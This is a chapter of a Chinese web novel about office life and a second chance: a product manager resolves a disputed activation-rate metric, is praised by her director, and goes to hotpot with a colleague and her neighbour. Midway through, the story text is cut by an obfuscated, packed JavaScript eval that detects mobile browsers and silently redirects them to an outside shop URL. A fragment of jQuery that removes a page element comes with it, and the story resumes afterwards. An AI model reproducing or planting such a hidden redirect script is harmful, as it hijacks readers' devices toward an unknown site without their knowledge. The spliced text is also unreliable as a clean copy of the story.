七点四十。
闹钟准时响了。
陆汀溪眼皮都没睁，手往枕头底下胡乱一摸，凭感觉把闹铃摁了。她又眯了几分钟，才慢慢坐起来。
到公司楼下八点多一点，她看了一眼表，时间还很充足，便推门进了楼下的咖啡店。
前面排着几个人，她刷着手机慢慢往前挪。
有人拍了她一下，转头一看，是林檬。
“早啊。”林檬手里已经端着一杯拿铁，应该是刚取完正要走，看到她才停下来。
“早。”陆汀溪看了眼她手里的杯子，“你这速度够快的。”
“我提前在小程序点的，来了就拿。”林檬没急着走，站在旁边跟她一起排队，“时间还早，陪你一起等。”
陆汀溪笑了笑，随口问了一句，“怎么样，最近忙不忙？”
“别提了。”林檬翻了个白眼，“我们最近被一个项目搞得快疯了。”
“什么项目？”
“就是北美那个项目，下半年公司主推那个。”
陆汀溪点了点头。这个项目她知道，是公司下半年的战略重心。集团副总裁在全员大会上提过，说是“年度必赢之战”。
前几世她刚好负责其中一个模块，印象很深。
她仔细回想着这项目。
当时运营、产品、技术三个部门联合作战，光启动会就开了四轮。结果最后数据崩了，谁都说不清楚到底是谁的责任，最后越扯越乱。那之后，许蔓在公司里的处境就不太一样了。
“怎么说？”她问。
林檬叹了口气，“运营这边方案出了，技术那边也开发完了，上周刚上线。结果数据对不上。”
“什么数据？”
“新用户激活率。我们算出来百分之十二，技术那边跑出来百分之八。差了四个点，许总让复盘，明明就是技术统计口径有问题，他们非要甩锅说是运营埋点没做对。扯了好几天了。”
陆汀溪端着咖啡，脑子里已经在过了。
这个项目她不只是参与过，是眼睁睁看着它爆雷了。事后复盘的材料她看过，数据对不上只是表面现象，根因其实不在运营，也也不在技术。
在产品。
具体来说，是产品需求文档里对“激活”的定义不够清晰。运营按A标准埋点，技术按B标准写代码。两边都没错，但合在一起就是错的。
而她是产品经理，定义用户行为路径、写清楚触发逻辑，正好是她的活儿。
“你们那个激活，是怎么定义的？”她问。
林檬想了想，“用户下载后七天内完成首次下单。”
“技术那边知道这个定义吗？”
“文档里写了吧？应该写了。”林檬的语气不太确定。
陆汀溪没再问了。她知道问题在哪了。文档写了，但写得不清楚。“首次下单”听起来简单，在不同的人眼里完全可以是两件事：是点击下单按钮算，还是支付成功算？是只算全款订单，还是包含未支付的试单？这些东西不写死，开发全凭自己理解写代码，出来的数据百分之百是乱的。
这不是林檬的错，也不是技术的错。这是产品该考虑清楚的规则。
“我帮你看一下。”她说。
“你看什么？”林檬有点意外。
“埋点文档，”陆汀溪端着咖啡往前走，“你们运营出的那版，我帮你把不清楚的地方标出来。”
林檬犹豫了一下。“你不是产品吗？帮运营看埋点文档？”
“顺手的事，”陆汀溪笑了笑，“而且这个项目是公司战略级的，数据错了谁都不好看。能帮就帮。”
其实她也是在帮自己。
这个模块是张钰钰负责的。那丫头刚转正没多久，是领导的小师妹，塞到她组里让她带。人倒是勤快，也没什么心眼，大大咧咧的，输出出来的东西跟她这个人一样，不够细。
陆汀溪知道这丫头不靠谱，能力也担不起这么重要的项目，但这活是领导亲自派过去的。至于原因，所有人都看的明明白白。这是要给人铺路，扶摇直上。
这种有人罩着的关系户，工作起来就是比她们这种平民容易。事成了，功劳是她的。出问题了，领导把人交个她带，锅她背。
所以这事......她也不能置身事外。
“那行，”林檬点头，“我回头发你。”
两人一起往大楼里走。电梯口排着几个人，陆汀溪按了上行键，靠在旁边等。林檬站在她旁边，想了想，又补了一句：“不过说实话，这个活本来不该你干。”
“没事，”陆汀溪说，“顺手的事。”
电梯到了，两人走进去。
陆汀溪按了十二楼，林檬按了五楼。电梯上行，她脑子里已经在排今天的时间了。上午有个需求评审会，下午要跟研发过方案，中午吃饭的时间可以空出来，先把林檬发来的文档过一遍。问题不会太大，她上辈子踩过这个坑，知道根儿在哪。
到了十二楼，她走出去，推开玻璃门。前台的小姑娘跟她打了个招呼，她点头笑笑，往工位走。
刚把包放在工位上，林檬的文档也发过来了，文件名是“北美项目_埋点文档_V3”。她点开扫了一眼，页数不多，六七页的样子。按照前几世的经验，这里面至少有七八处定义不清的地方。
“早啊，汀姐。”张钰钰嘴里叼着块面包，坐到工位上。
“北美那个项目，埋点文档你看了吗？”她问。
“看了呀。”
“你确定？”
张钰钰犹豫了一下，声音小了半拍。“……大概看了。”
陆汀溪半开玩笑似地在她脑门儿上戳了一下，“又闯祸了你。”
“咋了？汀姐。”
“运营那边的数据和技术对不上，差了好几个点。早上碰上林檬了，人大概和我说了一下，你那个埋点文档，没写明白。”
张钰钰的脸一下子垮了。“啊？那咋办？”
“能咋办，补救啊，趁现在还没闹大，赶紧拉个会，跟两边讲清楚。”
张钰钰打开电脑，面包直接扔一边了，“我这就叫人。”
“等会。”陆汀溪叫住她。
在脑子里过一遍。
这事不能说是产品这边主动补规则。一说“产品补充规则”，听上去就像之前产品没写清楚，现在来擦屁股。锅就扣在团队头上了。
“你就说，最近在梳理用户行为路径，发现北美项目这块的定义可以再统一一下，顺便帮运营和技术对齐。”她说，“不是补漏，是优化。”
张钰钰眨了眨眼。“汀姐，你这说法……高。”
“少拍马屁，赶紧去。”
张钰钰抱着电脑跑去找人了。
陆汀溪坐回工位，打开文档，把下午要讲的十二条问题又过了一遍。她不想让张钰钰背锅，也不想让产品组背锅。项目还没爆，数据只是对不上，还没到不可收拾的地步。现在拉会叫“统一口径”，叫“流程优化”，谁都说不出什么。
她看了一眼技术那边。张钰钰正站在那和张远说话，手还比比划划。
她收回目光，继续改文档。
快到中午，张钰钰抱着电脑晃悠过来：“汀姐，人叫齐了，307。”
“好。”
“运营那边来了仨，林檬带队。技术来了张远和负责数据的老王。”
陆汀溪比了个OK的手势，捧着电脑往会议室走。
到了会议室，她打开投屏，把文档投上去。没过一会儿，开会的人也陆陆续续来了。
“人都齐了？”陆汀溪站起来，走到投屏前面。
“齐了。”张钰钰说。
陆汀溪没废话，直接一条条开始讲，参会的人也没什么异议，讲了快二十分钟，规则都说清楚了，她关了投屏，按了下墙上的开关。
会议室里的灯亮起来。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523497|203383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
她准备收拾东西走人，余光扫到门口站着一个人。
是徐蔓。
她手里拿着笔记本，靠在墙边。不知道什么时候进来的，也不知道听了多少。她站的位置靠后，不声不响的，没人察觉到她进来。
陆汀溪心里紧了一下。
“许总。”她叫了一声。
会议室里的人齐刷刷转过头。林檬愣了一下，张远也坐直了点，张钰钰抻了抻头。
许蔓直起身，视线落在陆汀溪身前的工牌上。
“陆汀溪。”
她念了一遍，声音不大，一字一顿，把这个名字在脑子里过了一遍。
陆汀溪更紧张了。不知道许蔓是什么意思。
“不错。”许蔓打量着她的脸，然后很轻地笑了一下，“逻辑很严谨。”
陆汀溪揪着心彻底松开了。
“谢谢许总认可。”她说，说完笑了一下，但和许蔓不同，她笑得很拘谨。
回到工位后，陆汀溪盯着屏幕，嘴角怎么都压不住。
过了没一会儿，顾垚端着咖啡晃过来了。
“听说你被许大总监表扬了？”他在她旁边坐下，翘着腿，语气里带着点调侃。
“哪有那么夸张，就是客套话而已。”
陆汀溪嘴上虽然是这么说，但心里已经乐开了花。她低头敲键盘，假装在写文档，其实一个字都没敲进去。
许蔓终于记住她了，离目标又近了一步。
顾垚靠在椅背上，转着手里的杯子。“晚上有事吗？”
“怎么了？”
“我哥们儿等会儿来找我，晚上聚聚，一起呗？”
陆汀溪想都没想，“不去，又不认识人家，我去干嘛？”
“这有什么的啊，吃顿饭就认识了。”
她还是摇头，“不了，我回去还有事。”
顾垚看了她一眼，没再勉强。“行吧。”
下班的时候，陆汀溪和顾垚一起下楼。电梯到了一楼，两个人穿过大堂，推开玻璃门。
外面天色已经暗了，路灯刚亮不久，门口站着一个人。
黑色冲锋衣，下身休闲裤，脚上踩着双萨洛蒙。他侧着身，手插在口袋里，像是在等人。
陆汀溪一眼就认出来了。
“沈老师？你怎么在这儿？”
沈琛转过头，还没来得及开口，旁边的顾垚先出声了：“来了？”
他走过去，拍了一下沈琛肩膀。
陆汀溪站在原地看着这两个人，脑子里转了转，反应过来了。顾垚说的哥们儿，就是沈琛。
“你哥们儿是沈老师？”她转头问顾垚。
“昂。”顾垚点头，一脸理所当然，“大学室友。”
“这么巧的嘛。”陆汀溪笑道，显然还没从震惊中缓过来，“你不美国留学去了嘛？怎么又跑岭大去了？”
“本科岭大读的啊。”顾垚转头看沈琛，“怎么？你俩认识？”
“嗯，楼上邻居。”沈琛淡淡道。
“卧槽，这么巧？”顾垚看了看陆汀溪，又看了看沈琛，“这么巧必须一起庆祝一下。”
陆汀溪没再拒绝。
既然都是认识人，也没拒绝的必要。更何况，能蹭一顿，是一顿，正好她不用为晚饭发愁了。
顾垚掏出手机查餐厅，陆汀溪站在旁边，还在消化这个巧合。
沈琛没说话，余光看了陆汀溪一眼，很快又挪开了。
“走了，”顾垚收起手机，“我订好了，就旁边那家火锅店，刚好不用等位。”
三个人一起往餐厅走。顾垚张牙舞爪地在前面带路，陆汀溪和沈琛跟着。
她低头看了眼手机，没注意到前面的顾垚偏头看了她一眼，也没注意到身后，沈琛的那道目光同样落在了她身上。
屏幕上全是网友推荐的菜，她挨个记下来，打算等会儿全点上。
反正顾垚请客。